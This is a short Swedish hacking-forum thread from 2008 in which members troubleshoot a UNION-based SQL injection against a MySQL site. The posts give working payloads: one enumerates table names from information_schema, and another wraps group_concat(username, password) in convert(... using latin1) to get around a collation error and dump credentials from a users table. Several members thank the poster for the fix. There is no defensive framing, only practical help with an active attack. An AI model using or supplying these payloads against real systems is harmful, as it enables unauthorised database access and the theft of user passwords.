sql injection problem

2008-10-30, 13:49 #1

Medlem

Reg: Feb 2005

Inlägg: 245

nar jag forsoker injecta:

Kod:

union all select 1,2,table_name,4,5 from information_schema.tables/*

sa far jag foljande felmeddelande:

Kod:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

antar att man ska andvanda convert() pa natt smidigt satt men jag far inte till det?

Citera

2008-10-30, 14:05 #2

Medlem

Reg: Jul 2006

Inlägg: 216

convert(table_name using latin1)

Tror det ska fungera

Citera

2008-10-30, 15:27 #3

Medlem

Reg: Feb 2005

Inlägg: 245

Citat:

Ursprungligen postat av stezzan

convert(table_name using latin1)

Tror det ska fungera

ja det fungerade... tack.

gar det att andvanda convert() tillsammans med group_concat() pa ngt vis?

om ni fattar..

Citera

2008-10-30, 15:43 #4

Medlem

Reg: Jun 2008

Inlägg: 669

convert() lägger du runt allting du vill skriva ut på skärmen;

union+select+1,2,3,convert(group_concat(username,0 x3a,password)+using latin1)+from+users/*

Citera

2008-10-30, 16:57 #5

Medlem

Reg: Mar 2005

Inlägg: 640

Citat:

Ursprungligen postat av f.d. pzhukke

convert() lägger du runt allting du vill skriva ut på skärmen;

union+select+1,2,3,convert(group_concat(username,0 x3a,password)+using latin1)+from+users/*

tack, satt med samma problem nyss

Citera

2008-10-30, 17:37 #6

Medlem

Reg: Feb 2005

Inlägg: 245

Citat:

Ursprungligen postat av f.d. pzhukke

convert() lägger du runt allting du vill skriva ut på skärmen;

union+select+1,2,3,convert(group_concat(username,0 x3a,password)+using latin1)+from+users/*

ja, tack!

Citera

sql injection problem

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in